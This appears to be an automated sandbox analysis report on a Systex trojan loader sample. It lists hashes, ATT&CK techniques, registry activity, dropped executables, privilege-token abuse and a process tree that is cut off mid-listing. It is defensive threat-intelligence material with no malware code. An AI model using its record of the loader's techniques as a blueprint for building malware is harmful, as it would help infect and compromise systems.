systex | d2185cc6d34ea3d6827864935d63d832d3b0ee060b761086aae82b6029f5e61c

Analysis

max time kernel
148s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/07/2026, 02:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
Size 384KB
Sample260716-cps22sbs9k
SHA256 d2185cc6d34ea3d6827864935d63d832d3b0ee060b761086aae82b6029f5e61c
MD5 0487f52d0f1c84853064289d0a65c22f
SHA1 88f94058e4162ba590adb27552355906b755b23c
SHA512 254113cf371b7bd01fc41cbc8fdbfe756a410585ae6c2d400d10c1f5930fda5b01d2fb8ce8725559df01c52345ed0b44591656c77877112f52c9187303f41fc8
SSDEEP 3072:KO6UF5toCvty8dsaMj4ygtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ug:D6QtpouIJjiJcbI03GBc3ucY5DCSjX
TLSH
T102847B00BAA4F0F6D995043800EFAF36A67E74281B26CBC3E754CE5D99513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5064	vtnlfdavtqlidavs.exe
616	vtnlfdavtqlidavs.sys
2248	CreateProcess.exe
2860	davsqkidav.exe
5100	CreateProcess.exe
2800	CreateProcess.exe
4980	i_davsqkidav.exe
2352	dxvpnifaxs.sys
5520	CreateProcess.exe
4680	kifausnhfd.exe
3520	CreateProcess.exe
6032	CreateProcess.exe
3708	i_kifausnhfd.exe
4500	spkicausmk.sys
996	CreateProcess.exe
2168	khcausmkfc.exe
4232	CreateProcess.exe
1340	CreateProcess.exe
3172	i_khcausmkfc.exe
4160	ecxupnhfzx.sys
1472	CreateProcess.exe
2572	xupmhfzxrp.exe
4324	CreateProcess.exe
5556	CreateProcess.exe
4980	i_xupmhfzxrp.exe
3740	ecwurpjhbz.sys
1056	CreateProcess.exe
5296	eztrmjecwu.exe
5672	CreateProcess.exe
3864	CreateProcess.exe
1952	i_eztrmjecwu.exe
2216	ebztrmjecw.sys
5700	CreateProcess.exe
1396	ztrljebwto.exe
4308	CreateProcess.exe
4180	CreateProcess.exe
944	i_ztrljebwto.exe
2916	bywrojgbzt.sys
5316	CreateProcess.exe
5308	bwtrlgeywr.exe
5732	CreateProcess.exe
5932	CreateProcess.exe
6072	i_bwtrlgeywr.exe
5656	jdbvtolgdy.sys
3860	CreateProcess.exe
1908	gdbvtolgdb.exe
3848	CreateProcess.exe
1504	CreateProcess.exe
2508	i_gdbvtolgdb.exe
3880	gaysqlidav.sys
5768	CreateProcess.exe
2092	yvtnlfdxvq.exe
2200	CreateProcess.exe
1164	CreateProcess.exe
6044	i_yvtnlfdxvq.exe
932	xvpnifaysq.sys
3084	CreateProcess.exe
980	usqkicaysq.exe
748	CreateProcess.exe
708	CreateProcess.exe
3664	i_usqkicaysq.exe
5072	fdxvpnkfca.sys
1844	CreateProcess.exe
5304	usmkhfcxus.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4480_1234958713\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4480_52738342\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4480_52738342\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4480_1784923270\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4480_1784923270\nav_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	davsqkidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eztrmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gdbvtolgdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdyvtolgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdyvtolgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifaxsqkif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_khcausmkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usqkicaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigbywqolj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifaxsqkif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlfdavtqlidavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kifausnhfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdbvtolgdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkhfcxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigbywqolj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrljebwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwtrlgeywr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljgbzojgby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kifausnhfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwtrlgeywr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxupnhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljgbzojgby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrljebwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_yvtnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usqkicaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxupnhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifdavsnki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifdavsnki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_davsqkidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	khcausmkfc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eztrmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yvtnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhecwurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhecwurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkhfcxus.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4540	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4948	ipconfig.exe
4048	ipconfig.exe
1372	ipconfig.exe
2628	ipconfig.exe
5056	ipconfig.exe
5204	ipconfig.exe
3076	ipconfig.exe
4656	ipconfig.exe
2500	ipconfig.exe
2868	ipconfig.exe
5440	ipconfig.exe
4876	ipconfig.exe
3708	ipconfig.exe
924	ipconfig.exe
4896	ipconfig.exe
668	ipconfig.exe
1536	ipconfig.exe
2452	ipconfig.exe
3052	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134286417411195042"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{8619804E-A1DE-48C4-8814-D011DEEED66C}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
5064	vtnlfdavtqlidavs.exe
5064	vtnlfdavtqlidavs.exe
5064	vtnlfdavtqlidavs.exe
5064	vtnlfdavtqlidavs.exe
5064	vtnlfdavtqlidavs.exe
5064	vtnlfdavtqlidavs.exe
5064	vtnlfdavtqlidavs.exe
5064	vtnlfdavtqlidavs.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4480	msedge.exe
4480	msedge.exe
4480	msedge.exe
4480	msedge.exe
4480	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	4980	i_davsqkidav.exe
Token: SeDebugPrivilege	3708	i_kifausnhfd.exe
Token: SeDebugPrivilege	3172	i_khcausmkfc.exe
Token: SeDebugPrivilege	4980	i_xupmhfzxrp.exe
Token: SeDebugPrivilege	1952	i_eztrmjecwu.exe
Token: SeDebugPrivilege	944	i_ztrljebwto.exe
Token: SeDebugPrivilege	6072	i_bwtrlgeywr.exe
Token: SeDebugPrivilege	2508	i_gdbvtolgdb.exe
Token: SeDebugPrivilege	6044	i_yvtnlfdxvq.exe
Token: SeDebugPrivilege	3664	i_usqkicaysq.exe
Token: SeDebugPrivilege	3092	i_usmkhfcxus.exe
Token: SeDebugPrivilege	5896	i_cxupnhcaus.exe
Token: SeDebugPrivilege	5400	i_rpjhecwurm.exe
Token: SeDebugPrivilege	1224	i_omjecwuomg.exe
Token: SeDebugPrivilege	704	i_ljgbzojgby.exe
Token: SeDebugPrivilege	3844	i_oigbywqolj.exe
Token: SeDebugPrivilege	2500	i_ljdyvtolgd.exe
Token: SeDebugPrivilege	3272	i_nifdavsnki.exe
Token: SeDebugPrivilege	5984	i_nifaxsqkif.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4480	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2752 wrote to memory of 5064	2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe	86
PID 2752 wrote to memory of 5860	2752	2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe	87
PID 5860 wrote to memory of 4480	5860	iexplore.exe	88
PID 4480 wrote to memory of 6036	4480	msedge.exe	89
PID 4480 wrote to memory of 4636	4480	msedge.exe	90
PID 4480 wrote to memory of 4540	4480	msedge.exe	92
PID 4480 wrote to memory of 4636	4480	msedge.exe	90
PID 4480 wrote to memory of 4636	4480	msedge.exe	90
PID 4480 wrote to memory of 3012	4480	msedge.exe	93
PID 4480 wrote to memory of 3012	4480	msedge.exe	93
PID 4480 wrote to memory of 5924	4480	msedge.exe	94
PID 4480 wrote to memory of 5924	4480	msedge.exe	94
PID 4480 wrote to memory of 4524	4480	msedge.exe	95
PID 4480 wrote to memory of 5924	4480	msedge.exe	94
PID 4480 wrote to memory of 4524	4480	msedge.exe	95
PID 4480 wrote to memory of 4524	4480	msedge.exe	95
PID 4480 wrote to memory of 3328	4480	msedge.exe	96
PID 4480 wrote to memory of 3328	4480	msedge.exe	96
PID 4480 wrote to memory of 3328	4480	msedge.exe	96
PID 4480 wrote to memory of 1116	4480	msedge.exe	97
PID 4480 wrote to memory of 1116	4480	msedge.exe	97
PID 4480 wrote to memory of 1116	4480	msedge.exe	97
PID 4480 wrote to memory of 6104	4480	msedge.exe	98
PID 4480 wrote to memory of 6104	4480	msedge.exe	98
PID 5064 wrote to memory of 2248	5064	vtnlfdavtqlidavs.exe	102
PID 2860 wrote to memory of 5100	2860	davsqkidav.exe	105
PID 4480 wrote to memory of 1836	4480	msedge.exe	108
PID 4480 wrote to memory of 1836	4480	msedge.exe	108
PID 4480 wrote to memory of 2660	4480	msedge.exe	109
PID 4480 wrote to memory of 2660	4480	msedge.exe	109
PID 4480 wrote to memory of 4080	4480	msedge.exe	111
PID 4480 wrote to memory of 5072	4480	msedge.exe	112
PID 4480 wrote to memory of 5072	4480	msedge.exe	112
PID 4480 wrote to memory of 3092	4480	msedge.exe	115
PID 4480 wrote to memory of 3092	4480	msedge.exe	115
PID 5064 wrote to memory of 2800	5064	vtnlfdavtqlidavs.exe	117
PID 5064 wrote to memory of 5520	5064	vtnlfdavtqlidavs.exe	121
PID 4680 wrote to memory of 3520	4680	kifausnhfd.exe	123
PID 5064 wrote to memory of 6032	5064	vtnlfdavtqlidavs.exe	126
PID 5064 wrote to memory of 996	5064	vtnlfdavtqlidavs.exe	130
PID 2168 wrote to memory of 4232	2168	khcausmkfc.exe	132
PID 5064 wrote to memory of 1340	5064	vtnlfdavtqlidavs.exe	135
PID 5064 wrote to memory of 1472	5064	vtnlfdavtqlidavs.exe	140
PID 2572 wrote to memory of 4324	2572	xupmhfzxrp.exe	142
PID 5064 wrote to memory of 5556	5064	vtnlfdavtqlidavs.exe	145
PID 4480 wrote to memory of 4632	4480	msedge.exe	147
PID 4480 wrote to memory of 1928	4480	msedge.exe	148
PID 4480 wrote to memory of 3616	4480	msedge.exe	149
PID 5064 wrote to memory of 1056	5064	vtnlfdavtqlidavs.exe	152
PID 5296 wrote to memory of 5672	5296	eztrmjecwu.exe	154
PID 5064 wrote to memory of 3864	5064	vtnlfdavtqlidavs.exe	157
PID 5064 wrote to memory of 5700	5064	vtnlfdavtqlidavs.exe	161
PID 1396 wrote to memory of 4308	1396	ztrljebwto.exe	163
PID 5064 wrote to memory of 4180	5064	vtnlfdavtqlidavs.exe	166
PID 5064 wrote to memory of 5316	5064	vtnlfdavtqlidavs.exe	170
PID 5308 wrote to memory of 5732	5308	bwtrlgeywr.exe	172
PID 5064 wrote to memory of 5932	5064	vtnlfdavtqlidavs.exe	175
PID 5064 wrote to memory of 3860	5064	vtnlfdavtqlidavs.exe	179
PID 1908 wrote to memory of 3848	1908	gdbvtolgdb.exe	181
PID 5064 wrote to memory of 1504	5064	vtnlfdavtqlidavs.exe	184
PID 4480 wrote to memory of 4424	4480	msedge.exe	186
PID 4480 wrote to memory of 4424	4480	msedge.exe	186
PID 5064 wrote to memory of 5768	5064	vtnlfdavtqlidavs.exe	190
PID 2092 wrote to memory of 2200	2092	yvtnlfdxvq.exe	192

C:\Users\Admin\AppData\Local\Temp\2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-15_0487f52d0f1c84853064289d0a65c22f_amadey_darkgate_elex_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Temp\vtnlfdavtqlidavs.exe
  C:\Temp\vtnlfdavtqlidavs.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\davsqkidav.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2248
  - - C:\Temp\davsqkidav.exe
      C:\Temp\davsqkidav.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2860
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5100
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:924
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_davsqkidav.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2800
  - - C:\Temp\i_davsqkidav.exe
      C:\Temp\i_davsqkidav.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4980
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kifausnhfd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5520
  - - C:\Temp\kifausnhfd.exe
      C:\Temp\kifausnhfd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4680
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3520
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4948
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kifausnhfd.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6032
  - - C:\Temp\i_kifausnhfd.exe
      C:\Temp\i_kifausnhfd.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3708
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\khcausmkfc.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:996
  - - C:\Temp\khcausmkfc.exe
      C:\Temp\khcausmkfc.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2168
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4232
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4896
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_khcausmkfc.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1340
  - - C:\Temp\i_khcausmkfc.exe
      C:\Temp\i_khcausmkfc.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3172
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xupmhfzxrp.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1472
  - - C:\Temp\xupmhfzxrp.exe
      C:\Temp\xupmhfzxrp.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2572
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4324
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4048
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xupmhfzxrp.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5556
  - - C:\Temp\i_xupmhfzxrp.exe
      C:\Temp\i_xupmhfzxrp.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4980
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eztrmjecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1056
  - - C:\Temp\eztrmjecwu.exe
      C:\Temp\eztrmjecwu.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5296
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5672
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:668
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eztrmjecwu.exe ups_ins
    3⤵
